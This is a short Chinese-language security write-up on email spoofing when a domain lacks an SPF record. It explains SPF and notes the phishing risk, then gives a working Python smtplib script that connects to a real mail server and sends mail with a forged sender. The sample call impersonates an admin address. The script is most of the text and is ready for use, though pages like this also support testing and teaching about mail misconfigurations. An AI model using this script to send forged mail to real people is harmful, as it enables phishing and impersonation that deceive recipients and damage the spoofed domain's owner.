未设置spf导致的邮箱任意伪造
spf的解释:
SPF 记录是一种域名服务(DNS)记录,用于标识哪些邮件服务器可以代表您的域名发送电子邮件。SPF 记录的目的是为了防止垃圾邮件发送者在您的域名上,使用伪造的发件人地址发送邮件。
原理:未设置spf导致的邮件任意伪造,可以用来钓鱼社工,本身就是高危
若您未对您的域名添加 SPF 解析记录,则黑客可以仿冒以该域名为后缀的邮箱,来发送垃圾邮件。
其实它的危害比它自身邮箱伪造危害更大。
漏洞利用:
如果没有v=spf1或者没spf就存在邮件伪造漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import email.mime.multipart import email.mime.text from smtplib import SMTP
def send(fake_email, to, title, content): '''
:param fake_email: 伪造的邮箱 :param to: 发送的邮箱 :param title: 邮件标题 :param content: 邮件内容 :return: ''' msg = email.mime.multipart.MIMEMultipart() msg['Subject'] = title msg['from'] = fake_email msg["Sender"] = fake_email
msg['To'] = to txt = email.mime.text.MIMEText(content, 'html', 'utf-8') msg.attach(txt)
try: smtp = SMTP("mx1.qq.com", 25) smtp.set_debuglevel(1) smtp.ehlo("test.com") smtp.sendmail(fake_email, [to], msg.as_string()) smtp.quit() print('邮件发送成功 email has send out !') except Exception as e: print("err", e)
send("admin@faceid.com", "s7safe@163.com", "这是测试的标题", "看到我就伪造成功了")
|